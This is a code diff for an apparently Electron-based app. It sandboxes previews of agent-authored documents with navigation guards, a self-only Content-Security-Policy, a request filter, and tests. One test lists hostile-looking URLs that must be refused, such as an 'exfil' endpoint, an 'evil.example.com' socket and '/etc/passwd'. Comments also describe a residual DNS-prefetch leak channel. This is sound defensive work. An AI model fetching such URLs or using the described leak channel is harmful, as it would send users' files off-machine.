+/** The trusted renderer hosting the preview: the sink for link reports and the only sender allowed to drive tools on it. */
+type PreviewHostRenderer = {
+  id: number
+  send: (channel: string, payload: { url: string }) => void
+}
+
+type PreviewGuestRegistration = {
+  host: PreviewHostRenderer
+  readBoundGrantId: () => string | null
+}
+
+/**
+ * Why a registry: the click report arrives on an IPC channel, where the only thing main holds is
+ * the sender. Without this, "is this a live preview guest, and which grant is it bound to" has no
+ * answer, and any WebContents that learned the channel name would be routed out.
+ */
+const previewGuests = new WeakMap<object, PreviewGuestRegistration>()
+
+/**
+ * The workspace-document half of the browser page registry, keyed by the page the reader opened
+ * the document in. It is deliberately a separate map from the browsing one: page management,
+ * agent commands, download routing and certificate attribution all read that map directly, in
+ * more places than a guard could be remembered in, so a document guest is simply not in it. The
+ * one door taught about both is `browserManager.getAuthorizedGuest`, because acting on the guest
+ * the reader is looking at is the single operation that legitimately spans them.
+ */
+const docGuestsByPageId = new Map<
+  string,
+  { guest: Electron.WebContents; hostId: number; grantId: string }
+>()
+
+const registrationListeners = new Set<(browserPageId: string) => void>()
+
+/** Why anything listens: a tool request can beat the guest's own attach, and the wait it parks in lives in the IPC layer. */
+export function onWorkspaceDocGuestRegistered(
+  listener: (browserPageId: string) => void
+): () => void {
+  registrationListeners.add(listener)
+  return () => registrationListeners.delete(listener)
+}
+
+/**
+ * Resolve the document guest a browser tool should act on. Grants the guest nothing — it answers
+ * only whether the trusted renderer asking is the one hosting a live, grant-bound preview on that
+ * page. Reached only through `browserManager.getAuthorizedGuest`.
+ */
+export function getWorkspaceDocPageGuest(
+  browserPageId: string,
+  senderWebContentsId: number
+): Electron.WebContents | null {
+  const registration = docGuestsByPageId.get(browserPageId)
+  if (!registration || registration.hostId !== senderWebContentsId) {
+    return null
+  }
+  // Why: revocation is how a closed tab withdraws its preview, and it happens before the guest is torn down.
+  if (!getDocPreviewGrant(registration.grantId)) {
+    return null
+  }
+  if (registration.guest.isDestroyed()) {
+    docGuestsByPageId.delete(browserPageId)
+    return null
+  }
+  return registration.guest
+}
+
+/** True when the page renders a workspace document, so the browsing registry must never hold it. */
+export function isWorkspaceDocPageId(browserPageId: string): boolean {
+  return docGuestsByPageId.has(browserPageId)
+}
+
+/**
+ * The grant a live preview guest is bound to, or null for any other WebContents — the same identity
+ * question `reportDocPreviewLinkClick` asks, for a session event that hands over only the contents.
+ */
+export function readDocPreviewGuestBoundGrantId(guest: Electron.WebContents): string | null {
+  return previewGuests.get(guest)?.readBoundGrantId() ?? null
+}
+
+/**
+ * The preview guest renders a workspace document, not the web: it may only move within its own
+ * grant, and nothing it does by itself leaves the preview. The one route out is
+ * `reportDocPreviewLinkClick`, which answers for a click the reader really made.
+ *
+ * Reached only through `browserManager.attachGuestPolicies` under the workspace-doc profile, so
+ * every guest in the app is policy-attached by one door whatever it renders. Returns the disposal
+ * that door stores: without it a retired guest keeps its listeners and stays answerable through the
+ * grant-keyed authority until the WebContents itself is collected.
+ */
+export function installDocPreviewGuestPolicy(
+  guest: Electron.WebContents,
+  host: PreviewHostRenderer
+): () => void {
+  // Why: the first commit is the renderer-set src, already admitted by will-attach-webview;
+  // latching it pins every later navigation to that one grant.
+  let boundGrantId: string | null = null
+  let boundPageId: string | null = null
+
+  const latchGrantFromUrl = (rawUrl: string): void => {
+    if (boundGrantId !== null) {
+      return
+    }
+    const grantId = parseDocPreviewUrl(rawUrl)?.grantId ?? null
+    // Why the grant must still be live: registering under the page a dead grant names would put a
+    // guest nothing can read into the registry the tool door answers from.
+    const grant = grantId === null ? null : getDocPreviewGrant(grantId)
+    if (!grant) {
+      return
+    }
+    boundGrantId = grant.id
+    boundPageId = grant.browserPageId
+    docGuestsByPageId.set(boundPageId, { guest, hostId: host.id, grantId: grant.id })
+    for (const listener of registrationListeners) {
+      listener(boundPageId)
+    }
+  }
+
+  previewGuests.set(guest, {
+    host,
+    readBoundGrantId: () => boundGrantId
+  })
+  const forgetGuest = (): void => {
+    previewGuests.delete(guest)
+    // Why the identity check: a re-mint registers the replacement under the same page before this
+    // guest's own teardown runs, and deleting by key alone would unregister the live one.
+    if (boundPageId !== null && docGuestsByPageId.get(boundPageId)?.guest === guest) {
+      docGuestsByPageId.delete(boundPageId)
+    }
+  }
+  guest.once('destroyed', forgetGuest)
+
+  const isAllowedPreviewNavigation = (rawUrl: string): boolean => {
+    const target = parseDocPreviewUrl(rawUrl)
+    if (!target || !getDocPreviewGrant(target.grantId)) {
+      return false
+    }
+    // Why the latch is required and not just consistent: the renderer-set src is browser-initiated,
+    // so will-navigate never fires for it. Anything reaching here before the latch is the guest
+    // moving itself, which no grant has admitted yet.
+    return boundGrantId !== null && target.grantId === boundGrantId
+  }
+
+  /**
+   * Why deny-only, with nothing routed: a navigation the guest starts cannot be attributed to the
+   * reader. The document may read its whole grant over `connect-src 'self'`, so routing an
+   * unattributable URL to a real browser tab with full network is how those bytes would get out.
+   */
+  const navigationGuard = (event: Electron.Event, url: string): void => {
+    if (isAllowedPreviewNavigation(url)) {
+      return
+    }
+    event.preventDefault()
+  }
+
+  // Why here and not only on navigation events: the guest is already loading its src by the time
+  // the embedder hands it to us, so the only navigation most previews ever make has already
+  // started. Latching what it is on now is what binds the usual preview to its grant at all.
+  latchGrantFromUrl(guest.getURL())
+  const latchFromMainFrameNavigation = (details: { isMainFrame: boolean; url: string }): void => {
+    // Why: only the top document defines which grant this guest belongs to. Latching from a
+    // subframe would let an in-document iframe rebind the guest to another grant.
+    if (!details.isMainFrame) {
+      return
+    }
+    latchGrantFromUrl(details.url)
+  }
+  // Why a committed URL too: a navigation that started before this listener existed still commits
+  // after it, and a preview that never navigates again would otherwise stay bound to nothing.
+  const latchFromCommittedUrl = (_event: Electron.Event, url: string): void =>
+    latchGrantFromUrl(url)
+  // Why: will-navigate never fires for a subframe, so without this an <iframe src="https://…">
+  // inside a previewed document would load off-machine even though the top frame cannot.
+  const frameNavigationGuard = (details: {
+    isMainFrame: boolean
+    url: string
+    preventDefault: () => void
+  }): void => {
+    if (details.isMainFrame || isAllowedPreviewNavigation(details.url)) {
+      return
+    }
+    details.preventDefault()
+  }
+  guest.on('did-start-navigation', latchFromMainFrameNavigation)
+  guest.on('did-navigate', latchFromCommittedUrl)
+  guest.on('will-navigate', navigationGuard)
+  guest.on('will-redirect', navigationGuard)
+  guest.on('will-frame-navigate', frameNavigationGuard)
+  // Why deny with nothing routed: previews own no native child windows, and a popup the document
+  // asked for is the document asking, not the reader. A link the reader presses is intercepted
+  // before Chromium ever considers a popup.
+  guest.setWindowOpenHandler(() => ({ action: 'deny' }))
+  // Why a second fence for one API: WebRTC opens UDP straight from the network stack, so neither the
+  // response CSP nor the session's request filter ever sees it. This is the only layer that can.
+  enforceBrowserRouteWebRtcPolicy(guest, () => {})
+
+  return () => {
+    forgetGuest()
+    if (guest.isDestroyed()) {
+      return
+    }
+    guest.off('destroyed', forgetGuest)
+    guest.off('did-start-navigation', latchFromMainFrameNavigation)
+    guest.off('did-navigate', latchFromCommittedUrl)
+    guest.off('will-navigate', navigationGuard)
+    guest.off('will-redirect', navigationGuard)
+    guest.off('will-frame-navigate', frameNavigationGuard)
+  }
+}
+
+function isWebUrl(url: string): boolean {
+  return url.startsWith('http://') || url.startsWith('https://')
+}
+
+/**
+ * The only way a URL leaves a preview. Every condition is load-bearing: the isolated preload must
+ * report a trusted anchor click, the sender must be a live preview guest still bound to a grant,
+ * and the target must be the web. Anything else is dropped without a trace the document can observe.
+ */
+export function reportDocPreviewLinkClick(sender: Electron.WebContents, rawUrl: string): void {
+  const registration = previewGuests.get(sender)
+  if (!registration) {
+    return
+  }
+  const boundGrantId = registration.readBoundGrantId()
+  if (boundGrantId === null || !getDocPreviewGrant(boundGrantId)) {
+    return
+  }
+  const externalUrl = normalizeExternalBrowserUrl(rawUrl)
+  if (!externalUrl || !isWebUrl(externalUrl)) {
+    return
+  }
+  registration.host.send(DOC_PREVIEW_EXTERNAL_LINK_CHANNEL, { url: externalUrl })
+}
diff --git a/src/main/browser/doc-preview-protocol.test.ts b/src/main/browser/doc-preview-protocol.test.ts
new file mode 100644
index 00000000000..32700be32fd
--- /dev/null
+++ b/src/main/browser/doc-preview-protocol.test.ts
@@ -0,0 +1,334 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const mocks = vi.hoisted(() => ({
+  readDocPreviewFile: vi.fn(),
+  installBrowserSessionPartitionPolicies: vi.fn()
+}))
+
+function createFakeSession(): {
+  protocol: { isProtocolHandled: () => boolean; handle: ReturnType<typeof vi.fn> }
+  webRequest: { onBeforeRequest: ReturnType<typeof vi.fn> }
+} {
+  return {
+    protocol: { isProtocolHandled: () => false, handle: vi.fn() },
+    webRequest: { onBeforeRequest: vi.fn() }
+  }
+}
+
+// Why one session per partition and a distinct default: installing the handler on the default
+// session instead of the preview session is otherwise invisible — every read would come back
+// from the same object.
+const previewSession = createFakeSession()
+const defaultSession = createFakeSession()
+vi.mock('electron', () => ({
+  protocol: { registerSchemesAsPrivileged: vi.fn() },
+  session: {
+    get defaultSession() {
+      return defaultSession
+    },
+    fromPartition: (partition: string) => {
+      if (partition !== 'orca-doc-preview') {
+        throw new Error(`unexpected partition ${partition}`)
+      }
+      return previewSession
+    }
+  }
+}))
+vi.mock('./doc-preview-file-reader', () => ({ readDocPreviewFile: mocks.readDocPreviewFile }))
+vi.mock('./browser-session-partition-policies', () => ({
+  installBrowserSessionPartitionPolicies: mocks.installBrowserSessionPartitionPolicies
+}))
+
+import { protocol } from 'electron'
+import {
+  getDocPreviewSession,
+  handleDocPreviewRequest,
+  installDocPreviewProtocolHandler,
+  isAllowedDocPreviewRequestUrl,
+  isDocPreviewSession,
+  registerDocPreviewSchemePrivileges
+} from './doc-preview-protocol'
+import {
+  mintDocPreviewGrant,
+  revokeAllDocPreviewGrants,
+  revokeDocPreviewGrant
+} from './doc-preview-grant-registry'
+import {
+  buildDocPreviewUrl,
+  DOC_PREVIEW_LOAD_FAILURE_CHANNEL
+} from '../../shared/doc-preview-scheme'
+import { setDocPreviewFailureSink } from './doc-preview-failure-notice'
+
+function mintGrant(): ReturnType<typeof mintDocPreviewGrant> {
+  return mintDocPreviewGrant({
+    owner: { kind: 'ssh', connectionId: 'ssh-1' },
+    root: '/home/alice/docs',
+    entryRelativePath: 'index.html',
+    browserPageId: 'page-1'
+  })
+}
+
+beforeEach(() => {
+  vi.clearAllMocks()
+  revokeAllDocPreviewGrants()
+  setDocPreviewFailureSink(null)
+  mocks.readDocPreviewFile.mockResolvedValue({
+    ok: true,
+    bytes: Buffer.from('<h1>hi</h1>', 'utf8'),
+    contentType: 'text/html; charset=utf-8'
+  })
+})
+
+describe('handleDocPreviewRequest', () => {
+  it('serves an in-grant document with no-store so reload re-reads the workspace', async () => {
+    const grant = mintGrant()
+
+    const response = await handleDocPreviewRequest(
+      new Request(buildDocPreviewUrl(grant.id, 'index.html'))
+    )
+
+    expect(response.status).toBe(200)
+    expect(response.headers.get('Content-Type')).toBe('text/html; charset=utf-8')
+    expect(response.headers.get('Cache-Control')).toBe('no-store')
+    expect(await response.text()).toBe('<h1>hi</h1>')
+    expect(mocks.readDocPreviewFile).toHaveBeenCalledWith(grant, 'index.html')
+  })
+
+  it('falls back to the granted entry document for a root request', async () => {
+    const grant = mintGrant()
+
+    await handleDocPreviewRequest(new Request(`orca-preview://${grant.id}/`))
+
+    expect(mocks.readDocPreviewFile).toHaveBeenCalledWith(grant, 'index.html')
+  })
+
+  it('decodes percent-encoded segments before resolving', async () => {
+    const grant = mintGrant()
+
+    await handleDocPreviewRequest(new Request(buildDocPreviewUrl(grant.id, 'a b/c#d.html')))
+
+    expect(mocks.readDocPreviewFile).toHaveBeenCalledWith(grant, 'a b/c#d.html')
+  })
+
+  it('404s an unknown grant without reading anything', async () => {
+    const response = await handleDocPreviewRequest(
+      new Request(`orca-preview://${'0'.repeat(32)}/index.html`)
+    )
+
+    expect(response.status).toBe(404)
+    expect(mocks.readDocPreviewFile).not.toHaveBeenCalled()
+  })
+
+  it('404s a revoked grant', async () => {
+    const grant = mintGrant()
+    revokeDocPreviewGrant(grant.id)
+
+    const response = await handleDocPreviewRequest(
+      new Request(buildDocPreviewUrl(grant.id, 'index.html'))
+    )
+
+    expect(response.status).toBe(404)
+    expect(mocks.readDocPreviewFile).not.toHaveBeenCalled()
+  })
+
+  it('404s a malformed grant id', async () => {
+    const response = await handleDocPreviewRequest(new Request('orca-preview://not-a-grant/x.html'))
+
+    expect(response.status).toBe(404)
+    expect(mocks.readDocPreviewFile).not.toHaveBeenCalled()
+  })
+
+  it('propagates the reader status for an unservable asset', async () => {
+    const grant = mintGrant()
+    mocks.readDocPreviewFile.mockResolvedValue({
+      ok: false,
+      status: 415,
+      reason: 'unsupported-asset',
+      message: 'cannot send this file type'
+    })
+
+    const response = await handleDocPreviewRequest(
+      new Request(buildDocPreviewUrl(grant.id, 'a.woff2'))
+    )
+
+    expect(response.status).toBe(415)
+    expect(await response.text()).toBe('cannot send this file type')
+  })
+
+  // Why: previewed documents are agent-authored, so an outbound request is an exfiltration channel
+  // for everything else the grant can read.
+  it('serves documents under a self-only content security policy', async () => {
+    const grant = mintGrant()
+
+    const response = await handleDocPreviewRequest(
+      new Request(buildDocPreviewUrl(grant.id, 'index.html'))
+    )
+
+    const policy = response.headers.get('Content-Security-Policy') ?? ''
+    expect(policy).toContain("default-src 'self'")
+    expect(policy).toContain("connect-src 'self'")
+    expect(policy).toContain("object-src 'none'")
+    expect(policy).toContain("img-src 'self' data:")
+    expect(policy).not.toContain('https:')
+    // Why assert an absence: `webrtc 'block'` is the obvious directive to reach for here and this
+    // Chromium does not implement it — it logs "Unrecognized Content-Security-Policy directive
+    // 'webrtc'" and gathers candidates regardless. Adding it back would document a fence that is
+    // not there; the guest's IP-handling policy is what actually refuses.
+    expect(policy).not.toContain('webrtc')
+  })
+
+  // Why: the guest paints a 4xx body as if it were the document, so the shell only learns the
+  // reason from this push.
+  it('pushes the failure reason for the requested path', async () => {
+    const send = vi.fn()
+    setDocPreviewFailureSink({ send })
+    const grant = mintGrant()
+    mocks.readDocPreviewFile.mockResolvedValue({
+      ok: false,
+      status: 413,
+      reason: 'too-large',
+      message: 'too large'
+    })
+
+    await handleDocPreviewRequest(new Request(buildDocPreviewUrl(grant.id, 'index.html')))
+
+    expect(send).toHaveBeenCalledWith(DOC_PREVIEW_LOAD_FAILURE_CHANNEL, {
+      grantId: grant.id,
+      relativePath: 'index.html',
+      reason: 'too-large'
+    })
+  })
+
+  it('pushes nothing when the document is served', async () => {
+    const send = vi.fn()
+    setDocPreviewFailureSink({ send })
+    const grant = mintGrant()
+
+    await handleDocPreviewRequest(new Request(buildDocPreviewUrl(grant.id, 'index.html')))
+
+    expect(send).not.toHaveBeenCalled()
+  })
+
+  // Why: a grant revoked underneath a live guest 404s like a missing file, and without this push
+  // the shell leaves the handler's "Not found" body on screen as if it were the document.
+  it('pushes a failure for a revoked grant so the shell can replace the 404 body', async () => {
+    const send = vi.fn()
+    const grant = mintGrant()
+    revokeDocPreviewGrant(grant.id)
+    setDocPreviewFailureSink({ send })
+
+    await handleDocPreviewRequest(new Request(buildDocPreviewUrl(grant.id, 'index.html')))
+
+    expect(send).toHaveBeenCalledWith(DOC_PREVIEW_LOAD_FAILURE_CHANNEL, {
+      grantId: grant.id,
+      relativePath: 'index.html',
+      reason: 'unreadable'
+    })
+  })
+})
+
+describe('installDocPreviewProtocolHandler', () => {
+  // Why the default session is named here: it is the session every other Electron API reaches for
+  // by default, and handling the scheme there would serve preview bytes to ordinary browsing.
+  it('handles the scheme on the preview session and nowhere else', () => {
+    installDocPreviewProtocolHandler()
+
+    expect(previewSession.protocol.handle).toHaveBeenCalledWith(
+      'orca-preview',
+      handleDocPreviewRequest
+    )
+    expect(previewSession.webRequest.onBeforeRequest).toHaveBeenCalled()
+    expect(defaultSession.protocol.handle).not.toHaveBeenCalled()
+    expect(defaultSession.webRequest.onBeforeRequest).not.toHaveBeenCalled()
+  })
+
+  it('cancels every request the preview session should never carry', () => {
+    installDocPreviewProtocolHandler()
+
+    const filter = previewSession.webRequest.onBeforeRequest.mock.calls.at(-1)?.[0] as (
+      details: { url: string },
+      callback: (response: { cancel: boolean }) => void
+    ) => void
+    const cancelled = (url: string): boolean => {
+      let response: { cancel: boolean } | null = null
+      filter({ url }, (value) => {
+        response = value
+      })
+      return (response as { cancel: boolean } | null)?.cancel === true
+    }
+
+    expect(cancelled('https://cdn.example.com/tracker.js')).toBe(true)
+    expect(cancelled(`orca-preview://${'a'.repeat(32)}/index.html`)).toBe(false)
+  })
+
+  // Why: preview guests still use the shared installer for certificate, UA, permission and
+  // download hooks, with a stricter decision than ordinary browsing partitions.
+  it('applies the shared browser partition policies to the preview session', () => {
+    installDocPreviewProtocolHandler()
+
+    expect(mocks.installBrowserSessionPartitionPolicies).toHaveBeenCalledWith(
+      expect.objectContaining({ partition: 'orca-doc-preview', userAgentMode: 'clean' }),
+      expect.anything()
+    )
+  })
+
+  it('denies downloads and ambient browser permissions on the preview partition', () => {
+    installDocPreviewProtocolHandler()
+
+    expect(mocks.installBrowserSessionPartitionPolicies).toHaveBeenCalledWith(expect.anything(), {
+      downloads: 'deny',
+      permissions: 'deny'
+    })
+  })
+})
+
+describe('registerDocPreviewSchemePrivileges', () => {
+  // Why the whole literal and not a subset: every privilege this scheme does not claim is one the
+  // document cannot use to escape it. `allowServiceWorkers` would outlive the tab that was granted
+  // the read, and `bypassCSP` would undo the self-only policy the handler serves with.
+  it('claims exactly the privileges the preview document needs', () => {
+    registerDocPreviewSchemePrivileges()
+
+    expect(protocol.registerSchemesAsPrivileged).toHaveBeenCalledWith([
+      {
+        scheme: 'orca-preview',
+        privileges: {
+          standard: true,
+          secure: true,
+          supportFetchAPI: true,
+          corsEnabled: true,
+          stream: true
+        }
+      }
+    ])
+  })
+})
+
+describe('isAllowedDocPreviewRequestUrl', () => {
+  // Why: the session refuses to carry the request at all, so a CSP bypass in one element type
+  // still reaches nothing off-machine.
+  it('admits in-document schemes and refuses everything that leaves the machine', () => {
+    expect(isAllowedDocPreviewRequestUrl(`orca-preview://${'a'.repeat(32)}/index.html`)).toBe(true)
+    expect(isAllowedDocPreviewRequestUrl('devtools://devtools/bundled/inspector.html')).toBe(true)
+    expect(isAllowedDocPreviewRequestUrl('data:image/png;base64,AAA')).toBe(true)
+    expect(isAllowedDocPreviewRequestUrl('blob:orca-preview://abc/123')).toBe(true)
+    expect(isAllowedDocPreviewRequestUrl('https://cdn.example.com/app.css')).toBe(false)
+    expect(isAllowedDocPreviewRequestUrl('http://127.0.0.1:9999/exfil')).toBe(false)
+    expect(isAllowedDocPreviewRequestUrl('ws://evil.example.com/socket')).toBe(false)
+    expect(isAllowedDocPreviewRequestUrl('file:///etc/passwd')).toBe(false)
+  })
+})
+
+describe('isDocPreviewSession', () => {
+  it('claims no session until the preview session has been materialized', () => {
+    expect(isDocPreviewSession({} as never)).toBe(false)
+  })
+
+  it('matches only the memoized preview session', () => {
+    const created = getDocPreviewSession()
+
+    expect(isDocPreviewSession(created)).toBe(true)
+    expect(isDocPreviewSession({} as never)).toBe(false)
+    expect(getDocPreviewSession()).toBe(created)
+  })
+})
diff --git a/src/main/browser/doc-preview-protocol.ts b/src/main/browser/doc-preview-protocol.ts
new file mode 100644
index 00000000000..fd60817ff36
--- /dev/null
+++ b/src/main/browser/doc-preview-protocol.ts
@@ -0,0 +1,146 @@
+import { protocol, session } from 'electron'
+import {
+  DOC_PREVIEW_PARTITION,
+  DOC_PREVIEW_SCHEME,
+  parseDocPreviewUrl
+} from '../../shared/doc-preview-scheme'
+import { installBrowserSessionPartitionPolicies } from './browser-session-partition-policies'
+import { readDocPreviewFile } from './doc-preview-file-reader'
+import { publishDocPreviewFailure } from './doc-preview-failure-notice'
+import { getDocPreviewGrant } from './doc-preview-grant-registry'
+
+/** Must run before `app.whenReady()`; Electron freezes the privileged scheme table at ready. */
+export function registerDocPreviewSchemePrivileges(): void {
+  protocol.registerSchemesAsPrivileged([
+    {
+      scheme: DOC_PREVIEW_SCHEME,
+      privileges: {
+        standard: true,
+        secure: true,
+        supportFetchAPI: true,
+        corsEnabled: true,
+        stream: true
+      }
+    }
+  ])
+}
+
+let docPreviewSession: Electron.Session | null = null
+
+/** Non-persistent session, so preview bytes never land in a browsing profile's storage. */
+export function getDocPreviewSession(): Electron.Session {
+  docPreviewSession ??= session.fromPartition(DOC_PREVIEW_PARTITION)
+  return docPreviewSession
+}
+
+/** Pure identity check: every guest attach consults it, and none should materialize a session. */
+export function isDocPreviewSession(candidate: Electron.Session): boolean {
+  return docPreviewSession !== null && candidate === docPreviewSession
+}
+
+/**
+ * Product decision, not a hardening default: previewed documents are agent-authored, so any
+ * outbound request they can make is an exfiltration channel for whatever else the page can read.
+ * Self-contained documents — inline CSS/JS/SVG and in-grant assets — render in full; a CDN
+ * stylesheet, font, script, or analytics beacon deliberately does not load. Electron 43 still
+ * resolves explicit DNS-prefetch hints outside session hooks; the accepted residual is covered by
+ * `browser-route-dns-prefetch.electron.test.ts` and can beacon grant-readable bytes in DNS labels.
+ */
+const DOC_PREVIEW_CONTENT_SECURITY_POLICY = [
+  "default-src 'self'",
+  "script-src 'self' 'unsafe-inline'",
+  "style-src 'self' 'unsafe-inline'",
+  "img-src 'self' data:",
+  "font-src 'self' data:",
+  "connect-src 'self'",
+  "frame-src 'self'",
+  "object-src 'none'"
+  // Why no `webrtc 'block'` here, though a peer connection is exactly the outbound channel this
+  // policy is meant to close: Chromium 43-era answers that directive with "Unrecognized
+  // Content-Security-Policy directive 'webrtc'" and gathers candidates anyway, so listing it would
+  // read as a fence while fencing nothing. The guest's IP-handling policy is the one that holds —
+  // see `installDocPreviewGuestPolicy`.
+].join('; ')
+
+function notFound(message: string): Response {
+  return new Response(message, {
+    status: 404,
+    headers: { 'Content-Type': 'text/plain; charset=utf-8' }
+  })
+}
+
+export async function handleDocPreviewRequest(request: Request): Promise<Response> {
+  const target = parseDocPreviewUrl(request.url)
+  if (!target) {
+    return notFound('Not found')
+  }
+  const grant = getDocPreviewGrant(target.grantId)
+  if (!grant) {
+    // Why: a revoked or unknown grant is indistinguishable from a missing file by design — but the
+    // shell still needs to know, or the guest paints this body where the document should be.
+    publishDocPreviewFailure({
+      grantId: target.grantId,
+      relativePath: target.relativePath,
+      reason: 'unreadable'
+    })
+    return notFound('Not found')
+  }
+  const relativePath = target.relativePath || grant.entryRelativePath
+  const outcome = await readDocPreviewFile(grant, relativePath)
+  if (!outcome.ok) {
+    publishDocPreviewFailure({ grantId: target.grantId, relativePath, reason: outcome.reason })
+    return new Response(outcome.message, {
+      status: outcome.status,
+      headers: { 'Content-Type': 'text/plain; charset=utf-8' }
+    })
+  }
+  return new Response(new Uint8Array(outcome.bytes), {
+    status: 200,
+    headers: {
+      'Content-Type': outcome.contentType,
+      'Content-Security-Policy': DOC_PREVIEW_CONTENT_SECURITY_POLICY,
+      // Why: reload must re-read the workspace disk, so nothing may be cached.
+      'Cache-Control': 'no-store'
+    }
+  })
+}
+
+/** `data:`/`blob:` never leave the document; every other scheme would reach off-machine. */
+export function isAllowedDocPreviewRequestUrl(url: string): boolean {
+  return (
+    url.startsWith(`${DOC_PREVIEW_SCHEME}://`) ||
+    url.startsWith('devtools://') ||
+    url.startsWith('data:') ||
+    url.startsWith('blob:')
+  )
+}
+
+export function installDocPreviewProtocolHandler(): void {
+  const previewSession = getDocPreviewSession()
+  if (previewSession.protocol.isProtocolHandled(DOC_PREVIEW_SCHEME)) {
+    return
+  }
+  previewSession.protocol.handle(DOC_PREVIEW_SCHEME, handleDocPreviewRequest)
+  // Why: the response CSP is the document's own promise to obey; this is the session refusing to
+  // carry network requests even if an element bypasses CSP. DNS-prefetch does not reach this hook.
+  previewSession.webRequest.onBeforeRequest((details, callback) => {
+    callback({ cancel: !isAllowedDocPreviewRequestUrl(details.url) })
+  })
+  // Why: the shared installer still owns certificate, UA, download and permission hooks, while
+  // preview content receives no ambient browser/device permissions.
+  installBrowserSessionPartitionPolicies(
+    {
+      id: DOC_PREVIEW_PARTITION,
+      scope: 'isolated',
+      partition: DOC_PREVIEW_PARTITION,
+      label: 'Document preview',
+      source: null,
+      userAgentMode: 'clean'
+    },
+    // Why downloads are the one policy that does not carry over: the browser download flow needs a
+    // page to attribute the file to, and a previewed document is not one. Routed here it would
+    // reserve a name in this desktop's Downloads folder and write remote-authored bytes into it
+    // with nothing in the UI naming the tab that asked, and no prompt in front of it.
+    { downloads: 'deny', permissions: 'deny' }
+  )
+}
diff --git a/src/main/browser/offscreen-browser-backend-lifecycle.test.ts b/src/main/browser/offscreen-browser-backend-lifecycle.test.ts
index da393fa273d..a3758d70516 100644
--- a/src/main/browser/offscreen-browser-backend-lifecycle.test.ts
+++ b/src/main/browser/offscreen-browser-backend-lifecycle.test.ts
@@ -2,7 +2,7 @@ import { EventEmitter } from 'node:events'
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 
 const mocks = vi.hoisted(() => ({
-  windows: [] as { webContents: MockWebContents }[],
+  windows: [] as MockBrowserWindow[],
   BrowserWindow: vi.fn(),
   finishLoads: true
 }))
@@ -50,6 +50,41 @@ vi.mock('./browser-session-registry', () => ({
 }))
 
 import { OffscreenBrowserBackend } from './offscreen-browser-backend'
+import { installDocPreviewGuestPolicy, isWorkspaceDocPageId } from './doc-preview-guest-policy'
+import { mintDocPreviewGrant } from './doc-preview-grant-registry'
+import { buildDocPreviewUrl } from '../../shared/doc-preview-scheme'
+
+/** The real door's answer, so the backend is tested against the refusal it will actually get. */
+function registerOffscreenGuestLikeBrowserManager({
+  browserPageId
+}: {
+  browserPageId: string
+}): boolean {
+  return !isWorkspaceDocPageId(browserPageId)
+}
+
+/**
+ * A page the document half of the registry really owns. Built rather than named, because the door
+ * refuses on registry membership now — a made-up id would be admitted and prove nothing.
+ */
+function registerWorkspaceDocPage(browserPageId: string): void {
+  const grant = mintDocPreviewGrant({
+    owner: { kind: 'ssh', connectionId: 'ssh-1' },
+    root: '/home/alice/docs',
+    entryRelativePath: 'index.html',
+    browserPageId
+  })
+  const guest = {
+    isFocused: () => false,
+    isDestroyed: () => false,
+    getURL: () => buildDocPreviewUrl(grant.id, grant.entryRelativePath),
+    on: vi.fn(),
+    once: vi.fn(),
+    setWindowOpenHandler: vi.fn(),
+    setWebRTCIPHandlingPolicy: vi.fn()
+  }
+  installDocPreviewGuestPolicy(guest as never, { id: 1, send: vi.fn() })
+}
 
 describe('OffscreenBrowserBackend lifecycle', () => {
   beforeEach(() => {
@@ -73,7 +108,7 @@ describe('OffscreenBrowserBackend lifecycle', () => {
     vi.useFakeTimers()
     mocks.finishLoads = false
     const browserManager = {
-      registerOffscreenGuest: vi.fn(),
+      registerOffscreenGuest: vi.fn(registerOffscreenGuestLikeBrowserManager),
       unregisterGuest: vi.fn()
     }
     const backend = new OffscreenBrowserBackend(browserManager as never)
@@ -94,9 +129,36 @@ describe('OffscreenBrowserBackend lifecycle', () => {
     vi.useRealTimers()
   })
 
+  // Why the unregister assertion and not just the destroy: a refused id is one the document half
+  // of the registry owns, and the teardown hook would cancel that preview's work on the way out.
+  it('destroys a window whose registration was refused without unregistering the id', async () => {
+    const browserManager = {
+      registerOffscreenGuest: vi.fn(registerOffscreenGuestLikeBrowserManager),
+      unregisterGuest: vi.fn()
+    }
+    const backend = new OffscreenBrowserBackend(browserManager as never)
+    registerWorkspaceDocPage('doc-page-1')
+
+    await expect(
+      backend.createTab({
+        browserPageId: 'doc-page-1',
+        url: 'https://example.com',
+        worktreeId: 'wt'
+      })
+    ).rejects.toThrow('was refused')
+
+    expect(mocks.windows[0].isDestroyed()).toBe(true)
+    expect(browserManager.unregisterGuest).not.toHaveBeenCalled()
+
+    // Why shutdown and not the map: a refused id left behind is invisible until teardown walks it
+    // and hands that id to the other authority after all.
+    await backend.destroyAll()
+    expect(browserManager.unregisterGuest).not.toHaveBeenCalled()
+  })
+
   it('unregisters a closing page before awaiting owner retirement', async () => {
     const browserManager = {
-      registerOffscreenGuest: vi.fn(),
+      registerOffscreenGuest: vi.fn(registerOffscreenGuestLikeBrowserManager),
       unregisterGuest: vi.fn()
     }
     let releaseOwnerRetirement!: () => void
@@ -126,7 +188,7 @@ describe('OffscreenBrowserBackend lifecycle', () => {
 
   it('preserves a replacement page when the old window finishes closing', async () => {
     const browserManager = {
-      registerOffscreenGuest: vi.fn(),
+      registerOffscreenGuest: vi.fn(registerOffscreenGuestLikeBrowserManager),
       unregisterGuest: vi.fn()
     }
     let releaseOwnerRetirement!: () => void
@@ -152,7 +214,7 @@ describe('OffscreenBrowserBackend lifecycle', () => {
 
   it('retires the helper when an offscreen renderer is destroyed unexpectedly', async () => {
     const browserManager = {
-      registerOffscreenGuest: vi.fn(),
+      registerOffscreenGuest: vi.fn(registerOffscreenGuestLikeBrowserManager),
       unregisterGuest: vi.fn()
     }
     const onPageClosed = vi.fn(async () => {})
@@ -167,7 +229,7 @@ describe('OffscreenBrowserBackend lifecycle', () => {
 
   it('cleans every helper owner during backend shutdown', async () => {
     const browserManager = {
-      registerOffscreenGuest: vi.fn(),
+      registerOffscreenGuest: vi.fn(registerOffscreenGuestLikeBrowserManager),
       unregisterGuest: vi.fn()
     }
     const onPageClosed = vi.fn(async () => {})
@@ -186,7 +248,7 @@ describe('OffscreenBrowserBackend lifecycle', () => {
 
   it('rejects a concurrent create while shutdown is draining owned pages', async () => {
     const browserManager = {
-      registerOffscreenGuest: vi.fn(),
+      registerOffscreenGuest: vi.fn(registerOffscreenGuestLikeBrowserManager),
       unregisterGuest: vi.fn()
     }
     let releaseOwnerRetirement!: () => void
